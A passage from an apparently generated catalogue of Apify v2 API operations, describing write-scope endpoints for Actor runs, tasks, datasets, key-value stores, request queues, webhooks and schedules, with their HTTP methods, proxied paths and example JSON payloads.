/api/v1/apify/v2/actors/{actorId}/runs. Scopes: write. apify_post_v2_actors_by_actorid_runs_by_runid_abort (write) — **[DEPRECATED]** API endpoints related to run of the Actor were moved under new namespace [`actor-runs`](#/reference/actor-runs). Aborts an Actor run and returns an object that contains all the details about the run. Only runs that are starting or running are aborted. For runs with status `FINISHED`, `FAILED`, `ABORTING` and `TIMED-OUT` this call does nothing. Apify marks this operation deprecated. via POST /v2/actors/{actorId}/runs/{runId}/abort POST /api/v1/apify/v2/actors/{actorId}/runs/{runId}/abort. Scopes: write. apify_post_v2_actors_by_actorid_runs_by_runid_metamorph (write) — **[DEPRECATED]** API endpoints related to run of the Actor were moved under new namespace [`actor-runs`](#/reference/actor-runs). Transforms an Actor run into a run of another Actor with a new input. This is useful if you want to use another Actor to finish the work of your current Actor run, without the need to create a completely new run and waiting for its finish. For the users of your Actors, the metamorph operation is transparent, they will just see your Actor got the work done. There is a limit on how many times you can metamorph a single run. You can check the limit in [the Actor runtime limits](https://docs.apify.com/platform/limits#actor-limits). Internally, the system stops the Docker container corresponding to the Actor run and starts a new container using a different Docker image. All the default storages are preserved and the new input is stored under the `INPUT-METAMORPH-1` key in the same default key-value store. For more information, see the [Actor docs](https://docs.apify.com/platform/actors/development/programming-interface/metamorph). Apify marks this operation deprecated. via POST /v2/actors/{actorId}/runs/{runId}/metamorph POST /api/v1/apify/v2/actors/{actorId}/runs/{runId}/metamorph. Scopes: write. apify_post_v2_actors_by_actorid_runs_by_runid_resurrect (write) — **[DEPRECATED]** API endpoints related to run of the Actor were moved under new namespace [`actor-runs`](#/reference/actor-runs).Resurrects a finished Actor run and returns an object that contains all the details about the resurrected run. Only finished runs, i.e. runs with status `FINISHED`, `FAILED`, `ABORTED` and `TIMED-OUT` can be resurrected. Run status will be updated to RUNNING and its container will be restarted with the same storages (the same behaviour as when the run gets migrated to the new server). For more information, see the [Actor docs](https://docs.apify.com/platform/actors/running/runs-and-builds#resurrection-of-finished-run). via POST /v2/actors/{actorId}/runs/{runId}/resurrect POST /api/v1/apify/v2/actors/{actorId}/runs/{runId}/resurrect. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_abort (write) — Aborts the last run of the specified Actor and returns an object that contains all the details about the run. This endpoint is a shortcut for [Abort run](#/reference/actor-runs/abort-run/abort-run) on the Actor's last run. Only runs that are starting or running are aborted. For runs with status `FINISHED`, `FAILED`, `ABORTING` and `TIMED-OUT` this call does nothing. via POST /v2/actors/{actorId}/runs/last/abort POST /api/v1/apify/v2/actors/{actorId}/runs/last/abort. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_dataset_items (write) — Appends an item or an array of items to the end of the last Actor run's default dataset. This endpoint is a shortcut that resolves the last run's `defaultDatasetId` and proxies to the [Store items](/api/v2/dataset-items-post) endpoint. To save bandwidth and speed up your upload, you can send the request payload compressed and set the `Content-Encoding` header accordingly. Below is a list of supported `Content-Encoding` types. * Brotli: `Content-Encoding: br` * Gzip: `Content-Encoding: gzip` * Deflate: `Content-Encoding: deflate` via POST /v2/actors/{actorId}/runs/last/dataset/items POST /api/v1/apify/v2/actors/{actorId}/runs/last/dataset/items. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_key_value_store_records_by_recordkey (write) — Stores a value under a specific key in the default key-value store of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultKeyValueStoreId` and then using the [Store record](/api/v2/key-value-store-record-post) endpoint. via POST /v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey} POST /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey}. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_metamorph (write) — Transforms the last run of the specified Actor into a run of another Actor with a new input. This endpoint is a shortcut for [Metamorph run](#/reference/actor-runs/metamorph-run/metamorph-run) on the Actor's last run. via POST /v2/actors/{actorId}/runs/last/metamorph POST /api/v1/apify/v2/actors/{actorId}/runs/last/metamorph. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_reboot (write) — Reboots the last run of the specified Actor and returns an object that contains all the details about the rebooted run. This endpoint is a shortcut for [Reboot run](#/reference/actor-runs/reboot-run/reboot-run) on the Actor's last run. Only runs with status `RUNNING` can be rebooted. The run's container will be restarted, so any data not persisted in the key-value store, dataset, or request queue will be lost. via POST /v2/actors/{actorId}/runs/last/reboot POST /api/v1/apify/v2/actors/{actorId}/runs/last/reboot. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_request_queue_head_lock (write) — Returns the given number of first requests from the default request queue of the last Actor run and locks them for the given time. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Get head and lock](/api/v2/request-queue-head-lock-post) endpoint. via POST /v2/actors/{actorId}/runs/last/request-queue/head/lock POST /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/head/lock. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_request_queue_requests (write) — Adds a request to the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Add request](/api/v2/request-queue-requests-post) endpoint. via POST /v2/actors/{actorId}/runs/last/request-queue/requests POST /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_request_queue_requests_batch (write) — Adds requests to the default request queue of the last Actor run in batch. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Add requests](/api/v2/request-queue-requests-batch-post) endpoint. via POST /v2/actors/{actorId}/runs/last/request-queue/requests/batch POST /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/batch. Scopes: write. apify_post_v2_actors_by_actorid_runs_last_request_queue_requests_unlock (write) — Unlocks requests in the default request queue of the last Actor run that are currently locked by the client. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Unlock requests](/api/v2/request-queue-requests-unlock-post) endpoint. via POST /v2/actors/{actorId}/runs/last/request-queue/requests/unlock POST /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/unlock. Scopes: write. apify_post_v2_actors_by_actorid_validate_input (write) — Validates the JSON payload against the Actor's [input schema](https://docs.apify.com/actors/development/actor-definition/input-schema) defined in the specified build. If the specified build has no input schema, any input is considered valid. via POST /v2/actors/{actorId}/validate-input POST /api/v1/apify/v2/actors/{actorId}/validate-input. Scopes: write. apify_post_v2_actors_by_actorid_versions (write) — Creates a version of an Actor using values specified in a [Version object](#/reference/actors/version-object) passed as JSON in the POST payload. The request must specify `versionNumber` and `sourceType` parameters (as strings) in the JSON payload and a `Content-Type: application/json` HTTP header. Each `sourceType` requires its own additional properties to be passed to the JSON payload object. These are outlined in the [Version object](#/reference/actors/version-object) table below and in more detail in the [Apify documentation](https://docs.apify.com/platform/actors/development/deployment/source-types). For example, if an Actor's source code is stored in a [GitHub repository](https://docs.apify.com/platform/actors/development/deployment/source-types#git-repository), you will set the `sourceType` to `GIT_REPO` and pass the repository's URL in the `gitRepoUrl` property. ``` { "versionNumber": "0.1", "sourceType": "GIT_REPO", "gitRepoUrl": "https://github.com/my-github-account/actor-repo" } ``` The response is the [Version object](#/reference/actors/version-object) as returned by the [Get version](#/reference/actors/version-object/get-version) endpoint. via POST /v2/actors/{actorId}/versions POST /api/v1/apify/v2/actors/{actorId}/versions. Scopes: write. apify_post_v2_actors_by_actorid_versions_by_versionnumber (write) — Updates Actor version using values specified by a [Version object](#/reference/actors/version-object) passed as JSON in the POST payload. This endpoint is an alias for the [`PUT` update version](#tag/ActorsVersion-object/operation/act_version_put) method and behaves identically. via POST /v2/actors/{actorId}/versions/{versionNumber} POST /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}. Scopes: write. apify_post_v2_actors_by_actorid_versions_by_versionnumber_env_vars (write) — Creates an environment variable of an Actor using values specified in a [EnvVar object](#/reference/actors/environment-variable-object) passed as JSON in the POST payload. The request must specify `name` and `value` parameters (as strings) in the JSON payload and a `Content-Type: application/json` HTTP header. ``` { "name": "ENV_VAR_NAME", "value": "my-env-var" } ``` The response is the [EnvVar object](#/reference/actors/environment-variable-object) as returned by the [Get environment variable](#/reference/actors/environment-variable-object/get-environment-variable) endpoint. via POST /v2/actors/{actorId}/versions/{versionNumber}/env-vars POST /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}/env-vars. Scopes: write. apify_post_v2_actors_by_actorid_versions_by_versionnumber_env_vars_by_envvarname (write) — Updates Actor environment variable using values specified by a [EnvVar object](#/reference/actors/environment-variable-object) passed as JSON in the POST payload. This endpoint is an alias for the [`PUT` update environment variable](#tag/ActorsEnvironment-variable-object/operation/act_version_envVar_put) method and behaves identically. via POST /v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName} POST /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName}. Scopes: write. apify_post_v2_browser_info (write) — Returns information about the HTTP request, including the client IP address, country code, request headers, and body length. This endpoint is designed for proxy testing. It accepts any HTTP method so you can verify that your proxy correctly forwards requests of any type and that client IP addresses are anonymized. via POST /v2/browser-info POST /api/v1/apify/v2/browser-info. Scopes: write. apify_post_v2_datasets (write) — Creates a dataset and returns its object. Keep in mind that data stored under unnamed dataset follows [data retention period](https://docs.apify.com/platform/storage#data-retention). It creates a dataset with the given name if the parameter name is used. If a dataset with the given name already exists then returns its object. via POST /v2/datasets POST /api/v1/apify/v2/datasets. Scopes: write. apify_post_v2_datasets_by_datasetid_items (write) — Appends an item or an array of items to the end of the dataset. The POST payload is a JSON object or a JSON array of objects to save into the dataset. If the data you attempt to store in the dataset is invalid (meaning any of the items received by the API fails the validation), the whole request is discarded and the API will return a response with status code 400. For more information about dataset schema validation, see [Dataset schema](https://docs.apify.com/platform/actors/development/actor-definition/dataset-schema/validation). **IMPORTANT:** The limit of request payload size for the dataset is 5 MB. If the array exceeds the size, you'll need to split it into a number of smaller arrays. To save bandwidth and speed up your upload, you can send the request payload compressed and set the `Content-Encoding` header accordingly. Below is a list of supported `Content-Encoding` types. * Brotli: `Content-Encoding: br` * Gzip: `Content-Encoding: gzip` * Deflate: `Content-Encoding: deflate` via POST /v2/datasets/{datasetId}/items POST /api/v1/apify/v2/datasets/{datasetId}/items. Scopes: write. apify_post_v2_key_value_stores (write) — Creates a key-value store and returns its object. The response is the same object as returned by the [Get store](#/reference/key-value-stores/store-object/get-store) endpoint. Keep in mind that data stored under unnamed store follows [data retention period](https://docs.apify.com/platform/storage#data-retention). It creates a store with the given name if the parameter name is used. If there is another store with the same name, the endpoint does not create a new one and returns the existing object instead. via POST /v2/key-value-stores POST /api/v1/apify/v2/key-value-stores. Scopes: write. apify_post_v2_key_value_stores_by_storeid_records_by_recordkey (write) — Stores a value under a specific key to the key-value store. This endpoint is an alias for the [`PUT` record](#tag/Key-value-storesRecord/operation/keyValueStore_record_put) method and behaves identically. via POST /v2/key-value-stores/{storeId}/records/{recordKey} POST /api/v1/apify/v2/key-value-stores/{storeId}/records/{recordKey}. Scopes: write. apify_post_v2_request_queues (write) — Creates a request queue and returns its object. Keep in mind that requests stored under unnamed queue follows [data retention period](https://docs.apify.com/platform/storage#data-retention). It creates a queue of given name if the parameter name is used. If a queue with the given name already exists then the endpoint returns its object. via POST /v2/request-queues POST /api/v1/apify/v2/request-queues. Scopes: write. apify_post_v2_request_queues_by_queueid_head_lock (write) — Returns the given number of first requests from the queue and locks them for the given time. If this endpoint locks the request, no other client or run will be able to get and lock these requests. The response contains the `hadMultipleClients` boolean field which indicates that the queue was accessed by more than one client (with unique or empty `clientKey`). via POST /v2/request-queues/{queueId}/head/lock POST /api/v1/apify/v2/request-queues/{queueId}/head/lock. Scopes: write. apify_post_v2_request_queues_by_queueid_requests (write) — Adds request to the queue. Response contains ID of the request and info if request was already present in the queue or handled. If request with same `uniqueKey` was already present in the queue then returns an ID of existing request. via POST /v2/request-queues/{queueId}/requests POST /api/v1/apify/v2/request-queues/{queueId}/requests. Scopes: write. apify_post_v2_request_queues_by_queueid_requests_batch (write) — Adds requests to the queue in batch. The maximum requests in batch is limited to 25. The response contains an array of unprocessed and processed requests. If any add operation fails because the request queue rate limit is exceeded or an internal failure occurs, the failed request is returned in the unprocessedRequests response parameter. You can resend these requests to add. It is recommended to use an exponential backoff algorithm for these retries. If a request with the same `uniqueKey` was already present in the queue, then it returns an ID of the existing request. via POST /v2/request-queues/{queueId}/requests/batch POST /api/v1/apify/v2/request-queues/{queueId}/requests/batch. Scopes: write. apify_post_v2_request_queues_by_queueid_requests_unlock (write) — Unlocks requests in the queue that are currently locked by the client. * If the client is within an Actor run, it unlocks all requests locked by that specific run plus all requests locked by the same clientKey. * If the client is outside of an Actor run, it unlocks all requests locked using the same clientKey. via POST /v2/request-queues/{queueId}/requests/unlock POST /api/v1/apify/v2/request-queues/{queueId}/requests/unlock. Scopes: write. apify_post_v2_schedules (write) — Creates a new schedule with settings provided by the schedule object passed as JSON in the payload. The response is the created schedule object. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. ([More info](#/introduction/authentication)). via POST /v2/schedules POST /api/v1/apify/v2/schedules. Scopes: write. apify_post_v2_tools_decode_and_verify (write) — Decodes and verifies an encoded value previously created by the encode-and-sign endpoint. Returns the original decoded object along with information about the user who encoded it and whether that user is verified. **Important**: The request must specify the `Content-Type: application/json` HTTP header. via POST /v2/tools/decode-and-verify POST /api/v1/apify/v2/tools/decode-and-verify. Scopes: write. apify_post_v2_tools_encode_and_sign (write) — Encodes and signs any JSON object. The encoded value includes a signature tied to the authenticated user's ID, which can later be verified using the decode-and-verify endpoint. **Important**: The request must specify the `Content-Type: application/json` HTTP header. via POST /v2/tools/encode-and-sign POST /api/v1/apify/v2/tools/encode-and-sign. Scopes: write. apify_post_v2_webhooks (write) — Creates a new webhook with settings provided by the webhook object passed as JSON in the payload. The response is the created webhook object. To avoid duplicating a webhook, use the `idempotencyKey` parameter in the request body. Multiple calls to create a webhook with the same `idempotencyKey` will only create the webhook with the first call and return the existing webhook on subsequent calls. Idempotency keys must be unique, so use a UUID or another random string with enough entropy. To assign the new webhook to an Actor or task, the request body must contain `requestUrl`, `eventTypes`, and `condition` properties. * `requestUrl` is the webhook's target URL, to which data is sent as a POST request with a JSON payload. * `eventTypes` is a list of events that will trigger the webhook, e.g. when the Actor run succeeds. * `condition` should be an object containing the ID of the Actor or task to which the webhook will be assigned. * `payloadTemplate` is a JSON-like string, whose syntax is extended with the use of variables. * `headersTemplate` is a JSON-like string, whose syntax is extended with the use of variables. Following values will be re-written to defaults: "host", "Content-Type", "X-Apify-Webhook", "X-Apify-Webhook-Dispatch-Id", "X-Apify-Request-Origin" * `description` is an optional string. * `shouldInterpolateStrings` is a boolean indicating whether to interpolate variables contained inside strings in the `payloadTemplate` ``` "isAdHoc" : false, "requestUrl" : "https://example.com", "eventTypes" : [ "ACTOR.RUN.SUCCEEDED", "ACTOR.RUN.ABORTED" ], "condition" : { "actorId": "5sTMwDQywwsLzKRRh", "actorTaskId" : "W9bs9JE9v7wprjAnJ" }, "payloadTemplate": "", "headersTemplate": "", "description": "my awesome webhook", "shouldInterpolateStrings": false, ``` **Important**: The request must specify the `Content-Type: application/json` HTTP header. via POST /v2/webhooks POST /api/v1/apify/v2/webhooks. Scopes: write. apify_post_v2_webhooks_by_webhookid_test (write) — Tests a webhook. Creates a webhook dispatch with a dummy payload. via POST /v2/webhooks/{webhookId}/test POST /api/v1/apify/v2/webhooks/{webhookId}/test. Scopes: write. apify_put_v2_actor_runs_by_runid (write) — This endpoint can be used to update both the run's status message and to configure its general resource access level. **Status message:** You can set a single status message on your run that will be displayed in the Apify Console UI. During an Actor run, you will typically do this in order to inform users of your Actor about the Actor's progress. The request body must contain `runId` and `statusMessage` properties. The `isStatusMessageTerminal` property is optional and it indicates if the status message is the very last one. In the absence of a status message, the platform will try to substitute sensible defaults. **General resource access:** You can also update the run's general resource access setting, which determines who can view the run and its related data. Allowed values: * `FOLLOW_USER_SETTING` - The run inherits the general access setting from the account level. * `ANYONE_WITH_ID_CAN_READ` - The run can be viewed anonymously by anyone who has its ID. * `RESTRICTED` - Only users with explicit access to the resource can access the run. When a run is accessible anonymously, all of the run's default storages and logs also become accessible anonymously. via PUT /v2/actor-runs/{runId} PUT /api/v1/apify/v2/actor-runs/{runId}. Scopes: write. apify_put_v2_actor_runs_by_runid_dataset (write) — Updates the default dataset associated with an Actor run. This endpoint is a shortcut for getting the run's `defaultDatasetId` and then using the [Put dataset](/api/v2/dataset-put) endpoint. via PUT /v2/actor-runs/{runId}/dataset PUT /api/v1/apify/v2/actor-runs/{runId}/dataset. Scopes: write. apify_put_v2_actor_runs_by_runid_key_value_store (write) — Updates the default key-value store's name and general resource access level using a value specified by a JSON object passed in the PUT payload. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Update store](/api/v2/key-value-store-put) endpoint. via PUT /v2/actor-runs/{runId}/key-value-store PUT /api/v1/apify/v2/actor-runs/{runId}/key-value-store. Scopes: write. apify_put_v2_actor_runs_by_runid_key_value_store_records_by_recordkey (write) — Stores a value under a specific key in the default key-value store of the Actor run. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Store record](/api/v2/key-value-store-record-put) endpoint. via PUT /v2/actor-runs/{runId}/key-value-store/records/{recordKey} PUT /api/v1/apify/v2/actor-runs/{runId}/key-value-store/records/{recordKey}. Scopes: write. apify_put_v2_actor_runs_by_runid_request_queue (write) — Updates the default request queue associated with an Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Update request queue](/api/v2/request-queue-put) endpoint. via PUT /v2/actor-runs/{runId}/request-queue PUT /api/v1/apify/v2/actor-runs/{runId}/request-queue. Scopes: write. apify_put_v2_actor_runs_by_runid_request_queue_requests_by_requestid (write) — Updates a request in the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Update request](/api/v2/request-queue-request-put) endpoint. via PUT /v2/actor-runs/{runId}/request-queue/requests/{requestId} PUT /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/{requestId}. Scopes: write. apify_put_v2_actor_runs_by_runid_request_queue_requests_by_requestid_lock (write) — Prolongs a request lock in the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Prolong request lock](/api/v2/request-queue-request-lock-put) endpoint. via PUT /v2/actor-runs/{runId}/request-queue/requests/{requestId}/lock PUT /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/{requestId}/lock. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid (write) — Update settings of a task using values specified by an object passed as JSON in the POST payload. If the object does not define a specific property, its value is not updated. The `publicConfig` field carries the display configuration of the task's public landing page, and `isPublic` publishes or unpublishes the task itself. Both require write permission to the task's Actor. To publish a task, its Actor must be public, `publicConfig.inputSchemaFields` and `publicConfig.datasetView` must be set, and the Actor must have fewer than 50 published tasks. If the task isn't ready to be published, the whole update fails and none of it is applied. Publishing lists the task among the Actor's examples and makes its input public, so anyone can view and copy it. The landing page itself is shown only while `publicConfig` still validates against the Actor's current build, so a new build can stop the page from being offered while the task stays published and copyable. The response is the full task object as returned by the [Get task](/api/v2/actor-task-get) endpoint. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. via PUT /v2/actor-tasks/{actorTaskId} PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_input (write) — Updates the input of a task using values specified by an object passed as JSON in the PUT payload. If the object does not define a specific property, its value is not updated. The response is the full task input as returned by the [Get task input](#/reference/tasks/task-input-object/get-task-input) endpoint. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. ([More info](#/introduction/authentication)). via PUT /v2/actor-tasks/{actorTaskId}/input PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/input. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_runs_last_dataset (write) — Updates the default dataset associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultDatasetId` and then using the [Update dataset](/api/v2/dataset-put) endpoint. via PUT /v2/actor-tasks/{actorTaskId}/runs/last/dataset PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/dataset. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_runs_last_key_value_store (write) — Updates the default key-value store associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Update store](/api/v2/key-value-store-put) endpoint. via PUT /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_runs_last_key_value_store_records_by_recordkey (write) — Stores a value under a specific key in the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Store record](/api/v2/key-value-store-record-put) endpoint. via PUT /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey} PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey}. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_runs_last_request_queue (write) — Updates the default request queue associated with the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Update request queue](/api/v2/request-queue-put) endpoint. via PUT /v2/actor-tasks/{actorTaskId}/runs/last/request-queue PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_by_requestid (write) — Updates a request in the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Update request](/api/v2/request-queue-request-put) endpoint. via PUT /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId} PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}. Scopes: write. apify_put_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_by_requestid_lock (write) — Prolongs a request lock in the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Prolong request lock](/api/v2/request-queue-request-lock-put) endpoint. via PUT /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}/lock PUT /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/{requestId}/lock. Scopes: write. apify_put_v2_actors_by_actorid (write) — Updates an Actor's settings with the values specified in an `Actor` object passed as JSON in the POST payload. Only the fields specified in the request body are updated. Returns the full `Actor` object, the same as the [Get Actor](/api/v2/actor-get) endpoint. In the HTTP request, set the `Content-Type` header to `application/json`. ### Authentication To provide the authentication token, we recommend using the request's `Authorization` header, rather than the URL. For details, see [Authentication](/api/v2/getting-started#authentication). ### Make an Actor public To make your Actor [public](https://docs.apify.com/platform/actors/publishing): - Set `isPublic` to `true`. - Provide `title` and `categories`. For reference, see [constants from the `apify-shared-js` package](https://github.com/apify/apify-shared-js/blob/2d43ebc41ece9ad31cd6525bd523fb86939bf860/packages/consts/src/consts.ts#L452-L471) ### Update build tags To change tags assigned to Actor builds, use the `taggedBuilds` object. It's a dictionary that maps tag names to specific builds, where: - the key is the tag name, for example `latest` or `beta` - the value is either `null` or an object with a build ID Changing tags is a patch operation. Only the tags that you provide in this object are updated. Note that you can assign multiple tags to a single build, but you can't assign the same tag to multiple builds. - To create or reassign a tag, provide the tag name with a build ID. For example, to assign the `latest` tag to a build, use: ```json { "latest": { "buildId": "z2EryhbfhgSyqj6Hn" } } ``` - To remove a tag from a build, provide the tag name with a `null` value. For example, to remove the `beta` tag, use: ```json { "beta": null } ``` - You can perform multiple actions at once. The following example reassigns `latest` and removes `beta`, while preserving other existing tags: ```json { "latest": { "buildId": "z2EryhbfhgSyqj6Hn" }, "beta": null } ``` via PUT /v2/actors/{actorId} PUT /api/v1/apify/v2/actors/{actorId}. Scopes: write. apify_put_v2_actors_by_actorid_runs_last_dataset (write) — Updates the default dataset associated with the last Actor run. This endpoint is a shortcut for getting the last run's `defaultDatasetId` and then using the [Update dataset](/api/v2/dataset-put) endpoint. via PUT /v2/actors/{actorId}/runs/last/dataset PUT /api/v1/apify/v2/actors/{actorId}/runs/last/dataset. Scopes: write. apify_put_v2_actors_by_actorid_runs_last_key_value_store (write) — Updates the last Actor run key-value store's name and general resource access level using a value specified by a JSON object passed in the PUT payload. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Update store](/api/v2/key-value-store-put) endpoint. via PUT /v2/actors/{actorId}/runs/last/key-value-store PUT /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store. Scopes: write. apify_put_v2_actors_by_actorid_runs_last_key_value_store_records_by_recordkey (write) — Stores a value under a specific key in the default key-value store of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultKeyValueStoreId` and then using the [Store record](/api/v2/key-value-store-record-put) endpoint. via PUT /v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey} PUT /api/v1/apify/v2/actors/{actorId}/runs/last/key-value-store/records/{recordKey}. Scopes: write. apify_put_v2_actors_by_actorid_runs_last_request_queue (write) — Updates the default request queue associated with the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Update request queue](/api/v2/request-queue-put) endpoint. via PUT /v2/actors/{actorId}/runs/last/request-queue PUT /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue. Scopes: write. apify_put_v2_actors_by_actorid_runs_last_request_queue_requests_by_requestid (write) — Updates a request in the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Update request](/api/v2/request-queue-request-put) endpoint. via PUT /v2/actors/{actorId}/runs/last/request-queue/requests/{requestId} PUT /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}. Scopes: write. apify_put_v2_actors_by_actorid_runs_last_request_queue_requests_by_requestid_lock (write) — Prolongs a request lock in the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Prolong request lock](/api/v2/request-queue-request-lock-put) endpoint. via PUT /v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}/lock PUT /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}/lock. Scopes: write. apify_put_v2_actors_by_actorid_versions_by_versionnumber (write) — Updates Actor version using values specified by a [Version object](#/reference/actors/version-object) passed as JSON in the POST payload. If the object does not define a specific property, its value will not be updated. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. ([More info](#/introduction/authentication)). The response is the [Version object](#/reference/actors/version-object) as returned by the [Get version](#/reference/actors/version-object/get-version) endpoint. via PUT /v2/actors/{actorId}/versions/{versionNumber} PUT /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}. Scopes: write. apify_put_v2_actors_by_actorid_versions_by_versionnumber_env_vars_by_envvarname (write) — Updates Actor environment variable using values specified by a [EnvVar object](#/reference/actors/environment-variable-object) passed as JSON in the POST payload. If the object does not define a specific property, its value will not be updated. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. ([More info](#/introduction/authentication)). The response is the [EnvVar object](#/reference/actors/environment-variable-object) as returned by the [Get environment variable](#/reference/actors/environment-variable-object/get-environment-variable) endpoint. via PUT /v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName} PUT /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName}. Scopes: write. apify_put_v2_browser_info (write) — Returns information about the HTTP request, including the client IP address, country code, request headers, and body length. This endpoint is designed for proxy testing. It accepts any HTTP method so you can verify that your proxy correctly forwards requests of any type and that client IP addresses are anonymized. via PUT /v2/browser-info PUT /api/v1/apify/v2/browser-info. Scopes: write. apify_put_v2_datasets_by_datasetid (write) — Updates a dataset's name and general resource access level using a value specified by a JSON object passed in the PUT payload. The response is the updated dataset object, as returned by the [Get dataset](/api/v2/dataset-get) API endpoint. via PUT /v2/datasets/{datasetId} PUT /api/v1/apify/v2/datasets/{datasetId}. Scopes: write. apify_put_v2_key_value_stores_by_storeid (write) — Updates a key-value store's name and general resource access level using a value specified by a JSON object passed in the PUT payload. The response is the updated key-value store object, as returned by the [Get store](#/reference/key-value-stores/store-object/get-store) API endpoint. via PUT /v2/key-value-stores/{storeId} PUT /api/v1/apify/v2/key-value-stores/{storeId}. Scopes: write. apify_put_v2_key_value_stores_by_storeid_records_by_recordkey (write) — Stores a value under a specific key to the key-value store. The value is passed as the PUT payload and it is stored with a MIME content type defined by the `Content-Type` header and with encoding defined by the `Content-Encoding` header. To save bandwidth, storage, and speed up your upload, send the request payload compressed with Gzip compression and add the `Content-Encoding: gzip` header. It is possible to set up another compression type with `Content-Encoding` request header. Below is a list of supported `Content-Encoding` types. * Brotli compression: `Content-Encoding: br` * Gzip compression: `Content-Encoding: gzip` * Deflate compression: `Content-Encoding: deflate` via PUT /v2/key-value-stores/{storeId}/records/{recordKey} PUT /api/v1/apify/v2/key-value-stores/{storeId}/records/{recordKey}. Scopes: write. apify_put_v2_request_queues_by_queueid (write) — Updates a request queue's name and general resource access level using a value specified by a JSON object passed in the PUT payload. The response is the updated request queue object, as returned by the [Get request queue](#/reference/request-queues/queue-collection/get-request-queue) API endpoint. via PUT /v2/request-queues/{queueId} PUT /api/v1/apify/v2/request-queues/{queueId}. Scopes: write. apify_put_v2_request_queues_by_queueid_requests_by_requestid (write) — Updates a request in a queue. Mark request as handled by setting `request.handledAt = new Date()`. If `handledAt` is set, the request will be removed from head of the queue (and unlocked, if applicable). via PUT 